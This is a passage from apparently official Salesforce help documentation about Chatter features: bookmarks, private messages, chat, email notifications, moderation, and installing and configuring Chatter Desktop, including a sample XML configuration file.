Bookmarking a Post
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Bookmarking a post lets you keep track of posts youre interested in.
1. Hover over the post you want to bookmark in your Chatter feed.
2. Click

at the top right of the post.

The icon changes (


Click

) to indicate that you successfully saved the post to your bookmarks.

Bookmarks on the Chatter sidebar to see your saved posts in your Chatter feed.

There is no limit for the number of bookmarks. You can add as many bookmarks as you like.

2449

Messages

Removing a Bookmark

Removing a Bookmark
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

1. Click
Bookmarks on the sidebar to see your saved posts in your Chatter feed.
2. Find the saved post in your Chatter feed.
3. Click

at the top right corner of the post to remove the bookmark.

The icon changes (

) to indicate that you successfully removed the post from your bookmarks.

When you remove a bookmark from a post, the post no longer appears in your saved posts when you click

Bookmarks.

MESSAGES
Chatter Messages Overview
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Communicate privately in Chatter using messages.

Watch a Demo on Sending Private Chatter Messages (3:15 minutes)


Chatter messages let you have secure private conversations with other Chatter users. Use messages to send your manager a
question privately, or to communicate with a few select people when a discussion isn't relevant to everyone you work with.
Messages are also used to notify people when a file has been shared with them. Messages don't appear in your feed, your
profile, global search results, or any other part of Chatter that's publicly visible.
View your messages by clicking the Messages link in the Chatter tab. On the My Messages page, you can:

See the most recent message in each of your conversations. The most recent message displays at the top of the list.
See the photo of the person who sent the most recent message in a conversation.
See if you have unread messages ( ).
See if you sent the most recent reply ( ) in a conversation.
Click any message to view the full history of messages exchanged in that conversation.
Send a message by clicking New Message.

Your messages are organized into conversations, with each conversation defined by the unique combination of people
participating in it. For example, let's say you send a message to Sally Smith. When Sally replies, her message continues your
one-on-one conversation. Every new message you send to Sallyeven if it's about a different topicalso continues the same
conversation. Over time, you build a rich conversation history with Sally that contains every message you've ever exchanged

2450

Messages

Sending Chatter Messages

with her. At the same time, let's say you send a message to both Sally Smith and Bob Johnson. That message is considered
part of a separate conversation between you, Sally, and Bob. When Sally replies, her message continues a separate conversation
from your one-on-one conversation with Sally.
Consider these tips for using Chatter messages.

You can send messages to anyone in your Chatter organization. It doesn't matter who you follow, who's following you,
what groups you belong to, or if the recipient is a customer.
Conversations can involve just one other person, or up to ten people total, including yourself. You can't send a message to
yourself.
Conversation participants are established when someone sends the first message in the conversation. No one can add people
or remove people from the conversation after the first message is sent.
As others reply, the Messages link on the Chatter tab shows the number of conversations with new messages. If you're
already receiving Chatter email notifications, you'll automatically be notified of new messages.
You can't delete messages or conversations.
An administrator with the Manage Chatter Messages permission can view and delete all users' messages in Chatter; for
example, for compliance purposes.
If after reading the messages in a conversation you want to mark the conversation unread, you can do so only via the Chatter
REST API, not via the user interface.

See Also:
Sending Chatter Messages
Searching for Chatter Messages
Administering Chatter Messages
About Chatter Customers in Private Groups

Sending Chatter Messages


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Send messages to communicate privately in Chatter.


To send a Chatter message:
1. Start the message from one of these locations:

Click the Messages link on the Chatter tab, then click New Message in My Messages.
Click a person's name anywhere in Chatter to view their profile and click Send a message.
Click Send a message on a person's hover.
When viewing the full message history of a conversation, use the text box under the most recent message to send a
reply.
When viewing the email notification about a message you've received, if email replies to Chatter are enabled, reply to
the email.

Sharing a file with people is another way to send a Chatter message. When you share a file, recipients automatically receive
a message that lets them know the file has been shared, as well as any additional information you provided.

2451

Messages

Searching for Chatter Messages

2. If you started in the Send a Message dialog box, you can add people's names to the recipient list. Type a name in the To
field and click the name to select it. Add more people to the conversation by entering additional names.
If you're replying within a conversation or via email, the conversation participants can't be changed.
3. Write your message. Messages can be up to 10,000 characters.
4. Submit your message using the appropriate method:

In the Send a Message dialog box, click Send.


If you're replying within a conversation, click Reply (or Reply All if the conversation involves multiple recipients).
If you're replying via email, use the Send option in your email application.

If your message continues an existing conversation, your reply is added to the conversation and appears at the top of the list
in My Messages. If your message starts a new conversation because you haven't previously exchanged messages with that
unique combination of recipients, your message appears at the top of the list in My Messages as a brand new conversation.

See Also:
Chatter Messages Overview
Searching for Chatter Messages
Configuring Chatter Email Notifications and Digests
Replying to Chatter Email Notifications
Sharing Files with People

Searching for Chatter Messages


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

To search for people and text in your Chatter messages:


1. In My Messages, enter your search terms in the search box above your messages. Keep in mind these simple search tips:

If you're viewing your list of conversations, search looks for matches across all conversations. If you're viewing a single
conversation, search looks for matches only within that conversation.
Searching for a person's name (such as bob johnson) finds both the conversations where Bob Johnson is named in
the text as well as conversations where he's a participant. If you search for your own name, search results will include
all of your messages and conversations because you're a participant in every conversation.
Searching for bob jo finds both Bob Jones and Bob Johnson. We automatically search for terms starting with bob
jo, as if you had entered the * (asterisk) wildcard (bob jo*).
If you search for the term customer, you'll see matches on that term within the text of messages. Matches don't
include people who are identified as customers in a conversation's participant list.

2. Click Search.
3. Once you see the search results, you can:

Refine your search by entering additional search terms or using wildcards or operators.
Click a message to view the full conversation if you initially searched across all conversations.

2452

Messages

Administering Chatter Messages

If there are matches on names in the participant list and the conversation involves lots of people, the match might not be
visible because the participant list doesn't show everyone's name. In other words, you'll see the conversation included as a
match but the highlighted name match might be hidden from view.
Clear your search terms by clicking
or leave My Messages.

. Chatter automatically clears your search when you enter a reply, send a new message,

See Also:
Chatter Messages Overview

Administering Chatter Messages


Available in: Enterprise, Unlimited, and Developer Editions for users with a Salesforce license, and Database.com Edition
for users with a Database.com Admin license

User Permissions Needed


To control other administrators' access to Chatter messages:
To view and delete Chatter messages via the SOAP API:

Manage Users
Manage Chatter Messages
AND
API Enabled

Administrators with the appropriate permissions can view and delete all users' Chatter messages.
An administrator with the Manage Chatter Messages permission can view and delete all users' messages in Chatter; for
example, for compliance purposes. Users with this permission can access all users' Chatter messages via the SOAP API.
When deleting Chatter messages, consider these guidelines:

Messages are hard deleted. They arent sent to the Recycle Bin.
Deleted messages arent included in message search results.
If all messages in a conversation are deleted, the conversation isnt shown in My Messages and cant be retrieved via the
Chatter REST API.
If replies via email are enabled, when a user replies to a deleted message, Chatter returns an error notification and doesnt
process the reply message.

See Also:
Chatter Messages Overview
User Permissions

2453

Chat

Using Chatter Messenger

CHAT
Using Chatter Messenger
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Watch a Demo on Using Chat (2:27 minutes)


Click the Chat header to expand or minimize chat. To get the most out of your chat experience, click in the chat list to pop
it out to a separate browser window. Then, you can easily chat with people while you browse other sites and use other
applications.
Note: Chatter Messenger is not supported using Microsoft Internet Explorer version 7.0. Internet Explorer 7 users
wont have access to Chatter Messenger, and will appear offline to other Chatter Messenger users. We recommend
these users switch to a different supported browser.
With chat, you can:

Let people know if you're available to chat.


Chat with people.
Add people to and remove people from your My Favorites list.
Pop out your chat to a separate browser window.
Use emoticons when you chat with people.
Customize your chat options, such as sounds and notifications.

See Also:
Chatter Overview
Setting Up Chat

Changing Your Chat Status


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Let people know if you're available to chat, or set your status to Offline if you don't want to chat.
People can see your status:

In their chat lists


On your profile

2454

Chat

Chatting with People

On people hovers

To change your chat status, click Available, Away, or Offline at the top of your chat list. For example, if your status is set to
Available but you don't want to chat with others, click Available and choose Offline.
Your status automatically changes to idle if you're idle for 15 minutes. To change this setting, click Chat >
select General Settings.

> Options, then

See Also:
Using Chatter Messenger
Chatting with People

Chatting with People


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

You can chat with one or more people in Chatter who are online.
1. Start a chat.

From your chat list, click a name in the People I Follow or My Favorites list.
From a persons profile, click Start Chat.

2. Optionally, add up to 10 people to the chat.


a. Drag people from your chat list to the active chat, or click
person youre following in Chatter.
b. Repeat until youve added everyone you need for the chat.
Click

at the top of the active chat and type the name of a

to see a list of everyone in the chat.

Note: When you leave a chat with multiple people, the other people in the chat can continue chatting without you.
You need to be added back to the chat to participate again.

See Also:
Using Chatter Messenger
Adding People to the My Favorites List in Chat

2455

Chat

Using the Chat List

Using the Chat List


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Tips for using the chat list.

If your chat list is long, type the name of a person you want to chat with in the search box at the top of the chat list.
Switch between active chats by clicking a chat in the Current Chats list.
To add someone to your chat list, follow them in Chatter.
Add people you chat with frequently to your My Favorites list.
Click to customize your chat options.
Click your status at the top of the chat list to change your chat status on page 2454.
When a chat is minimized, youll see the new message indicator

for new messages.

See Also:
Using Chatter Messenger
Adding People to the My Favorites List in Chat

Adding People to the My Favorites List in Chat


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

The list of people you follow in Chatter can be long. Add up to 100 chats with one or more people to your My Favorites list
and theyll always show up at the top of your chat list.

In an active chat with one or more people, click to save the chat as a favorite.
You can also click and drag a single persons name from the People I Follow list to the My Favorites list.
You can rename a chat with multiple people in your My Favorites list. Click Edit next to My Favorites, click the
multiple-person chat you want to rename, and type a new name. For example, if you have a favorite chat with Sue, John,
Jeff, you could rename it to Sales Team. All names must be unique.

See Also:
Using Chatter Messenger
Removing People from the My Favorites List in Chat
Using the Chat List

2456

Chat

Removing People from the My Favorites List in Chat

Removing People from the My Favorites List in Chat


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Remove chats with one or multiple people from your My Favorites list if you chat with them less often. People you follow in
Chatter will still show up in your People I Follow list.
1. Next to the My Favorites list, click Edit.
2. Next to the name of the chat you want to remove, click the button.
3. When youve finished deleting chats from the list, click Done next to the My Favorites list.
You can also remove chats from the My Favorites list by clicking the

icon in an active chat.

See Also:
Using Chatter Messenger
Adding People to the My Favorites List in Chat

Popping Out Chat Windows


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Keep chattingeven when you minimize your browser or use other applicationsby popping out a chat or your chat list into
a separate browser window.

Click
Click

in the top-right corner of an active chat or the entire chat list to pop it out.
in the top-right corner of a popped-out chat or chat list to pop it back in to your Salesforce screen.

See Also:
Using Chatter Messenger

Adding Emoticons to a Chat


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Typing certain combinations of letters and punctuation marks inserts a whimsical icon into your chat conversation.
The following emoticons are available.

2457

Chat

Editing Chat Options

Emoticon

Typed Characters
:-), :), :], =)
:-(, :(, :[, =(
:-D, :D, =D
:-O, :O, :-o, :o
:-P, :P, :-p, :p, =P
;-), ;)
:/, :-/, :\, :-\

You can turn off emoticons in Chat >

> Options.

See Also:
Using Chatter Messenger
Editing Chat Options

Editing Chat Options


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

To edit your chat options, click

in the top-right corner of the chat window, then click Options.

Tip: When you click , you can also quickly toggle the visibility of My Favorites, People I Follow, and Offline
People in your chat list. You can also toggle the options to Play sounds and Show emoticons.

General Settings
Option

Description

Change status to Away after


15 minutes

When selected, your status changes to idle if you are idle in your Salesforce app for the
length of time you specify.

Show emoticons

When selected, graphics such as or display when people you chat with type standard
textual emoticons such as :-) or :-(.

Show a timestamp only when When selected, the timestamp for chat messages displays only when you hover over an
I hover over a message
individual message. When not selected, the timestamp displays inline with each chat message
and status change.

2458

Email Notifications

Configuring Chatter Email Notifications and Digests

Sounds and Notifications


Option

Description

Play a sound for new messages When selected, a sound plays when someone starts a new chat with you.
Note: Sounds play for all incoming messages when a chat is minimized, a chat is
out of focus (for example, if you have multiple chats), or when youre using another
application or browser tab.
Alert in browser tab for new
messages

When selected, a notification saying You have new chat messages displays in your browser
tab when someone sends you a new chat message.

Chat List
Select the lists of people that you want to see in your chat list:

My Favorites
People I Follow
Show people who are offline

See Also:
Using Chatter Messenger

EMAIL NOTIFICATIONS
Configuring Chatter Email Notifications and Digests
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Chatter can email you every time someone follows you, posts to your profile or groups, and more. You can also receive daily
or weekly user and group email digests. User digests include the updates you see in your own Chatter feed, such as updates
about the people, records, and files you follow and your groups. Group digests include the updates you see in a particular
groups Chatter feed, and are configurable on a group-by-group basis.
Note: To receive Chatter email notifications and digests, your administrator must enable email notifications for your
organization.
To configure your Chatter email settings:
1. Click Your Name > My Settings at the top of any page, then click Email Settings. You can also click Your Name > Setup
> My Chatter Settings > Chatter Email Settings.
2. Select Receive Chatter Emails to receive Chatter email.

2459

Email Notifications

Replying to Chatter Email Notifications

Caution: Deselecting this option prevents you from receiving all Chatter email notifications.

3. Select the types of Chatter email you want to receive.


4. Click Save.
Consider these email notification tips:

When configuring your user and group digests, specify whether you want to receive each digest daily or weekly. Daily
digests include the 25 latest posts from the previous day while weekly digests include the 50 latest posts from the week.
Both include the three latest comments on each post. Alternatively, when configuring group digests, you can choose to
receive an email every time someone posts to the group.
Chatter sends daily digests at approximately 12:00 AM every day, and weekly digests at approximately 12:00 AM on
Sunday. For user digests, the time is according to the user's time zone. For group digests the time is according to the
organization's time zone.
If you configure Chatter to send digests but you don't receive any, it's likely that the people and items you're following
have no new updates.
Whenever you join or are added to a group, you don't receive email notifications initially because they're turned off by
default. You can use Set default frequency for groups I join: to choose how often you want to receive
emails when joining new groups. Changing the default frequency doesn't affect the groups you already belong to.
Note: If your organization existed prior to the Summer '11 release and is a Professional, Enterprise, Unlimited,
or Developer Edition organization, you may still be receiving daily digests by default.

If you select Comments on a post on my profile, you don't receive a notification when someone comments on
changes an administrator makes to your profile.
If you select Comments after me, you receive email notifications for up to 10 comments after you.
If you select Sends me a message, you receive email notifications when people send you Chatter messages, including
notifications about files that have been shared with you.
Chatter limits the number of email notifications an organization can send each hour. These limits are subject to change.

See Also:
Using Chatter
Feeds
Viewing a Single Chatter Update
Chatter Messages Overview

Replying to Chatter Email Notifications


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

When you receive email notifications about comments and posts, you can conveniently post your comments to the Chatter
feed by replying to the email. Similarly, you can respond to Chatter messages via email. Just reply to any notification that
displays a From address of reply@chatter.salesforce.com.

2460

Recommendations

Viewing Your Recommendations

Note: To reply to email notifications, your administrator must enable email replies for your organization.

Consider these tips when sending email replies.

Replies must be sent from the email address specified in Your Name > My Profile. If you use email aliases or email
forwarding services that send replies from a different email address, your replies won't be processed.
Replies to post comments can be up to 1,000 characters.
Replies in response to Chatter messages can be up to 10,000 characters. Replies that exceed the limit are truncated to the
first 10,000 characters.
If replies contain your personal email signature, the signature text is treated as part of your comment. Default signatures
inserted by mobile devices, such as Sent from my iPhone, are automatically removed from replies. Before replying,
delete custom signatures and any extra text you don't want posted to Chatter.
Attachments in replies are ignored.
Before replying, check the email address that displays in the To field of your email. Valid addresses contain tokens, or long
character strings, both before and after the @ symbol, such as
w8t27apy1@j321imd9gbs.d8rx.d.chatter.na1.salesforce.com. Some email applications may automatically
use the From address from the original email, reply@chatter.salesforce.com, which is not a valid address for
receiving replies. If you see this shortened address in the To field of your reply email, replace it with the valid reply-to
address in the email header information. For example, in an application such as IBM Lotus Notes:
1. Open the original email.
2. Click View > Show > Page Source.
3. In the Reply-To section, copy the email address that looks like:
w8t27apy1@j321imd9gbs.d8rx.d.chatter.na1.salesforce.com.
4. Paste the reply-to address in the To field of your reply email.

See Also:
Configuring Chatter Email Notifications and Digests
Sending Chatter Messages

RECOMMENDATIONS
Viewing Your Recommendations
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Chatter provides recommendations to help you identify the people, groups, files, and records that closely relate to your job
and interests. The more recommendations you accept, the more updates you see in your Chatter feed.

Click Follow next to the person, record, or file you want to follow.

2461

Recommendations

Record Recommendations Overview

Click Join to become a group member.


Click to dismiss a recommendation.
Click More to display the Recommendations page where you can use the side filters to narrow your recommendations to
people, files, records, or groups.
Note: If your organization has fewer than 16 people, you automatically follow everybody, so no people are recommended.

See Also:
People Recommendations Overview
Chatter Group Recommendations Overview
File Recommendations Overview
Record Recommendations Overview

Record Recommendations Overview


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Following records helps keep you up-to-date on important changes to accounts, contacts, opportunities, and more. Chatter
recommends records that you've viewed or edited, records that you own (and aren't already following), and parent accounts
of records that you're following.
Chatter won't recommend records that your Salesforce administrator has disabled feed tracking for. Only opportunities,
accounts, leads, contacts, and articles are included in record recommendations.
To see an expanded list of your recommendations, click More in the Recommendations section. To see your record
recommendations by object, click the object in the side filters. For example, click Accounts to view only your account
recommendations.
If no recommendations appear, then you're already following all the recommended records.

See Also:
Viewing Your Recommendations

2462

Moderating Chatter

Chatter Moderators

MODERATING CHATTER
Chatter Moderators
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed


To moderate Chatter:

Moderate Chatter

A moderator is a Chatter user with some additional privileges such as:

Activate or deactivate Chatter Free users


Assign a Chatter Free user as moderator or take the privilege away
Delete posts and comments that they can see

You can tell if someone is a moderator by the special banner on their profile picture.

See Also:
Profile Overview

2463

Moderating Chatter

Assigning Moderator Privileges to Chatter Free Users

Assigning Moderator Privileges to Chatter Free Users


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed


To assign moderator privileges to Chatter Free users:

Moderate Chatter

As a moderator, you can assign moderator privileges to Chatter Free users in your organization. You can also remove them if
needed.
1. Go to the person's profile page by clicking their name in the People tab or on a feed.
2. On the profile page, click Manage User.

If you want the person to be a moderator, select Assign Moderator Privileges.


If the person is a moderator and you want to revoke those privileges, select Remove Moderator Privileges.

See Also:
Chatter Moderators
Deactivating Chatter Free Users

Deactivating Chatter Free Users


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed


To deactivate Chatter Free users:

Moderate Chatter

As a moderator, you can deactivate Chatter Free users if, for example, they left the company.
1. Go to the person's profile page by clicking their name in the People tab or on a feed.
2. On the profile page, click Manage User and select Deactivate User.
If you need to re-activate a Chatter Free user, you must use global search to find their profile, as deactivated users don't show
up on the People tab. To activate a user:
1. Find the person's profile using global search.

2464

Chatter Desktop

Chatter Desktop Overview

2. On the profile page, click Manage User and select Activate User.

See Also:
Chatter Moderators
Assigning Moderator Privileges to Chatter Free Users

CHATTER DESKTOP
Chatter Desktop Overview
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Chatter Desktop is a free desktop application that lets you collaborate in Chatter without a browser. Use Chatter Desktop to
post and comment in Chatter, and receive updates about the people, records, and files you follow and your groups. Chatter
Desktop also supports private Chatter messages, and displays Chatter updates and private messages as popup notifications in
your Windows taskbar or Mac OS X Dock.
Note: Customer users can install and use Chatter Desktop but cant access all of its functionality. For example,
customer users cant follow users or records, or access administration options.
Chatter Desktop is enabled for most organizations, but administrators can control access to Chatter Desktop as follows:
1. Click Your Name > Setup > Desktop Administration > Chatter Desktop Settings.
2. Select Enable Chatter Desktop if you want to allow users to access Chatter data from Chatter Desktop. Deselect
this option if you want to prevent all instances of Chatter Desktop in your organization from accessing Chatter data, and
block access to the Chatter Desktop self-installation page.
3. Select Allow Chatter Desktop Managed Installations Only if you want to prevent non-administrators from
installing Chatter Desktop. For example, select this option if your IT department plans to deploy Chatter Desktop to your
organization.
4. Click Save.
Important: Chatter Desktop uses Adobe Integrated Runtime (AIR), Adobe's cross-platform runtime environment
for desktop applications, and only runs on operating systems that Adobe AIR supports. Chatter Desktop does not
run on operating systems that Adobe AIR does not support, such as 64-bit Linux. See the Adobe website for

2465

Chatter Desktop

Installing Chatter Desktop

information on Adobe AIR. The standard Chatter Desktop installer automatically installs the correct version of
Adobe AIR.

See Also:
Installing Chatter Desktop
Connecting Chatter Desktop
Using Chatter Desktop
Configuring Chatter Desktop
Disabling Chatter Desktop Remotely
Troubleshooting Chatter Desktop

Installing Chatter Desktop


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Salesforce.com provides two Chatter Desktop installers: a standard version for individual installations and a managed version
for enterprise deployments.
Important: Chatter Desktop uses Adobe Integrated Runtime (AIR), Adobe's cross-platform runtime environment
for desktop applications, and only runs on operating systems that Adobe AIR supports. Chatter Desktop does not
run on operating systems that Adobe AIR does not support, such as 64-bit Linux. See the Adobe website for
information on Adobe AIR. The standard Chatter Desktop installer automatically installs the correct version of
Adobe AIR.
Standard Version

Managed Version

For individuals with administrator privileges on their machines For enterprises deploying Chatter Desktop to users who don't
have administrator privileges on their machines
Does not require administrator privileges in Salesforce to access Requires administrator privileges in Salesforce to access the
the installer
installer
Automatically installs the required version of Adobe
Integrated Runtime (AIR)

Does not automatically install AIRyour IT department must


obtain a redistribution agreement from Adobe Systems
Incorporated and deploy the required version of AIR before
deploying Chatter Desktop

Requires the acceptance of an end user license agreement the Requires your IT department to accept the Chatter Desktop
first time Chatter Desktop launches
managed version end user license agreement on behalf of the
users to which Chatter Desktop is deployed
Posts Installed Chatter Desktop to Chatter the first time
Chatter Desktop launches

Does not automatically post to Chatter the first time Chatter


Desktop launches

Periodically checks Salesforce for new versions

Does not regularly check Salesforce for new versions

2466

Chatter Desktop

Installing Chatter Desktop

To install the standard version:


1. Click Your Name > Setup > Desktop Integration > Chatter Desktop.
2. Click the Download Now badge.
3. Follow the on-screen instructions.
Note: Administrators can disable the Chatter Desktop download page and block users from accessing Chatter Desktop.

To install the managed version:


1. Deploy Adobe Integrated Runtime (AIR) version 2.0.4 or later to the machines on which you plan to deploy Chatter
Desktop. AIR is Adobe's cross-platform runtime environment for desktop applications, and is a prerequisite for Chatter
Desktop.
Tip: Visit these links before deploying AIR:

AIR overview: http://www.adobe.com/devnet/air/articles/distributing_air_in_enterprise.html


Information on obtaining an AIR redistribution license from Adobe Systems Incorporated:
http://www.adobe.com/products/air/runtime_distribution1.html

Installation information:
http://help.adobe.com/en_US/air/redist/WS485a42d56cd19641-70d979a8124ef20a34b-8000.html

Administration information:
http://help.adobe.com/en_US/air/admin/WS485a42d56cd1964167ea49bd124ef17d52a-8000.html

2. Click Your Name > Setup > Desktop Administration > Chatter Desktop Settings.
3. Click the link to download the managed version.
Important: Chatter Desktop uses Adobe Acrobat Reader to preview PDF files. Before previewing files with
Chatter Desktop, download Adobe Acrobat from Adobe's website, install it, and open it at least once to complete
the installation.

See Also:
Chatter Desktop Overview
Connecting Chatter Desktop
Using Chatter Desktop
Configuring Chatter Desktop
Disabling Chatter Desktop Remotely
Troubleshooting Chatter Desktop

2467

Chatter Desktop

Connecting Chatter Desktop

Connecting Chatter Desktop


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

If you have multiple Salesforce or Chatter logins, create a connection for each login. The connection lets Chatter Desktop
access the Chatter data you can access with that login on the Web.
1. Click
and select Settings.
2. In the Connections section, enter a name for the connection and the URL from which you log in. The URL must begin
with https:// and end with salesforce.com or chatter.com. For example, if your organization has a European
division that you log into from https://emea.salesforce.com, enter that URL and name the connection Europe.
By default, Chatter Desktop connects to your main instance of Salesforce (Production) or your Force.com sandbox.
3. Click Authorize and follow the on-screen instructions to authorize Chatter Desktop to connect using the login.
Use the radio buttons on the Settings screen to specify a default connection. To quickly switch connections while using Chatter
Desktop, click

, select Switch Connection, and choose the connection.

Note: You can create multiple connections, but Chatter Desktop can log into only one connection at a time. You
cannot use Chatter Desktop to display data from multiple connections simultaneously.

See Also:
Installing Chatter Desktop
Chatter Desktop Overview
Using Chatter Desktop
Configuring Chatter Desktop
Disabling Chatter Desktop Remotely
Troubleshooting Chatter Desktop

Using Chatter Desktop


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Click:

To see:
Updates from everyone and everything you follow.
Updates directed to you.

2468

Chatter Desktop

Using Chatter Desktop

Private Chatter messages. Click a message to view it, or click New Message to send a new message.
Other peoples updates. Click Following or Followers then click a persons name to see their updates or post to
their feed.
Your groups updates. Click a group name to see its updates or post to the group.
Records you follow. From the drop-down menu at the top, select the type of record you want to view, for example,
Account. If youre not following records, there wont be any records in the list. Click a records name to view its
details. Chatter Desktop shows the first eight fields on a record.
Your Chatter Desktop settings. You can also switch your connection.

In feeds:

To post a file from your computer, drag the file to

, or click

, which appears when you type a post.

To post a link, type the link in the box where you type your post, or click
Use the Sort By filter at the top of a feed to set you want to see updates:

, which appears when you type a post.

Post DateChronologically displays posts in the feed. To see comments, you must click Show All Comments below
a post.
Post and Comment DateChronologically displays posts and comments in the feed. Each comment appears again
when you click Show All Comments under its associated post.
Tip: Chatter Desktop synchronizes your data automatically, but the synchronization does not always happen instantly.
To manually synchronize, click

in the lower left corner.

See Also:
Installing Chatter Desktop
Connecting Chatter Desktop
Chatter Desktop Overview
Configuring Chatter Desktop
Disabling Chatter Desktop Remotely
Troubleshooting Chatter Desktop

2469

Chatter Desktop

Configuring Chatter Desktop

Configuring Chatter Desktop


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

The default Chatter Desktop configuration is appropriate for most users, but several Chatter Desktop settings are configurable.
To access Chatter Desktop settings, click

and select Settings. From the Settings screen, you can:

Configure Chatter Desktop to launch when you start your computer.


Configure Chatter Desktop to minimize when you close it.
Turn popup notifications on or off. Popup notifications are enabled by default.
Edit your connections.

Deploying a Chatter Desktop Configuration File


When deploying the managed version of Chatter Desktop, administrators can control settings by deploying an XML-based
configuration file to each user's machine. The configuration in the file overrides the user's settings.
To deploy the configuration file:
1. Create a file named .chatterdesktop that has a chatterdesktop parent element with two child elements, config
and servers.
2. In the config element, create the following child elements:

launchOnStartupLaunches the application on startup.


minimizeOnCloseMinimizes the application on close.
notificationsEnables popup notifications.

3. Set default and editable attributes to TRUE or FALSE on each child element in the config element. default
determines the default setting, while editable determines if the user can change the default setting through the user
interface.
4. If your organization uses instances of Salesforce other than Production and Sandbox, specify the servers that host those
instances in separate server elements inside the servers element. In each server element, include the following
attributes:

labelThe name of the connection as you want it to appear in the user interface.

defaultServerSet to TRUE to make this the default instance to which Chatter Desktop connects.

serverUrlThe URL you use to log into the instance. The URL must begin with https:// and end with
salesforce.com or chatter.com. For example, if your organization has a European division that you log into
from https://emea.salesforce.com, enter that URL and name the connection Europe..

5. Optionally, test the .chatterdesktop configuration file as follows:


a. Copy the .chatterdesktop configuration file to the user directory on your machine. The user directories are as
follows:

Windowsc:\Documents and Settings\<username>


Mac OS/Users/<username>
Linux/home/<username>

2470

Chatter Desktop

Configuring Chatter Desktop

b. Launch Chatter Desktop and verify that it functions correctly. See Troubleshooting Chatter Desktop if there are
problems.
6. Copy the .chatterdesktop file to the user directory on every machine running Chatter Desktop in your organization.
The following is a sample configuration file:
<chatterdesktop>
<config>
<launchOnStartup default="false"
editable="false"/>
<minimizeOnClose default="false"
editable="true"/>
<notifications default="true"
editable="true"/>
</config>
<servers>
<server label="Europe"
serverUrl="https://emea.salesforce.com"
defaultServer="true"/>
<server label="Production"
serverUrl="https://login.salesforce.com"
defaultServer="false"/>
</servers>
</chatterdesktop>

See Also:
Installing Chatter Desktop
Connecting Chatter Desktop
Using Chatter Desktop
Chatter Desktop Overview
Disabling Chatter Desktop Remotely
Troubleshooting Chatter Desktop

2471

Chatter Desktop

Disabling Chatter Desktop Remotely

Disabling Chatter Desktop Remotely


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

If the computer on which you installed Chatter Desktop is stolen or lost, you can block Chatter Desktop from accessing your
Salesforce data. Click Your Name > Setup > My Personal Information > Personal Information, and click Revoke next to
Chatter Desktop in the Remote Access section.

See Also:
Installing Chatter Desktop
Connecting Chatter Desktop
Using Chatter Desktop
Configuring Chatter Desktop
Chatter Desktop Overview
Troubleshooting Chatter Desktop

Troubleshooting Chatter Desktop


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions
Chatter Desktop uses Adobe Integrated Runtime (AIR), so see the following table for solutions to common AIR-related
issues if you need to troubleshoot Chatter Desktop. Use the Adobe knowledge base if the table does not have the answers
you need.
Problem
Chatter Desktop installation fails.

Solution
Change your default browser to another application and then
back to your preferred browser. This ensures that your
operating system opens the Chatter Desktop installation files
correctly.

Chatter Desktop on Linux freezes, presents an empty window, Try the following:
does not save your password, or malfunctions in another way. If using the managed installation, verify the
.chatterdesktop file is well-formed and valid XML.
If using the managed installation, verify the URLs in the
.chatterdesktop file are valid, and that each URL
begins with https:// and ends with salesforce.com.
Troubleshoot your Encrypted Local Storage (ELS)
keystore. See
http://kb2.adobe.com/cps/492/cpsid_49267.html.

2472

Chatter Desktop

Chatter Desktop Releases

Problem

Solution

Chatter Desktop does not preview PDF files.

Chatter Desktop uses Adobe Acrobat Reader to preview


PDF files. Before previewing files with Chatter Desktop,
download Adobe Acrobat from Adobe's website, install it,
and open it at least once to complete the installation.

Photos with comments do not refresh.

Click the sync icon.

See Also:
Installing Chatter Desktop
Connecting Chatter Desktop
Using Chatter Desktop
Configuring Chatter Desktop
Disabling Chatter Desktop Remotely
Chatter Desktop Overview

Chatter Desktop Releases


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

This table describes the updates in each Chatter Desktop release.


Version

Updates

2.1

Support for customer users


Support for private Chatter messages
Miscellaneous bug fixes, including an issue with popup
notifications stealing OS focus

2.0

A new user interface and visual design


The ability to view records

1.3.3

Global search for @mentions


The ability to create new instances on the Login screen
The ability to switch and authenticate instances without
restarting
Miscellaneous bug fixes, including an issue that generated
empty notifications and an issue with the installer

2473

Chatter Desktop

Chatter Desktop Releases

1.3.2

An intermediate build to accommodate changes to Adobe


AIR. Chatter Desktop immediately performs an additional
update after 1.3.2 installs.

1.2.1

Locale fixes for Norwegian, Danish, Finnish and Dutch

1.2.0

User and group details


Links to indicate you like a post
@mentions, which render in feeds and link to the
mentioned user's profile
#topics, which render in feeds and link to search results in
your browser
Auto-complete for @mentions and #topics
Performance improvements including image caching
Norwegian language support
Miscellaneous bug fixes

1.1.1

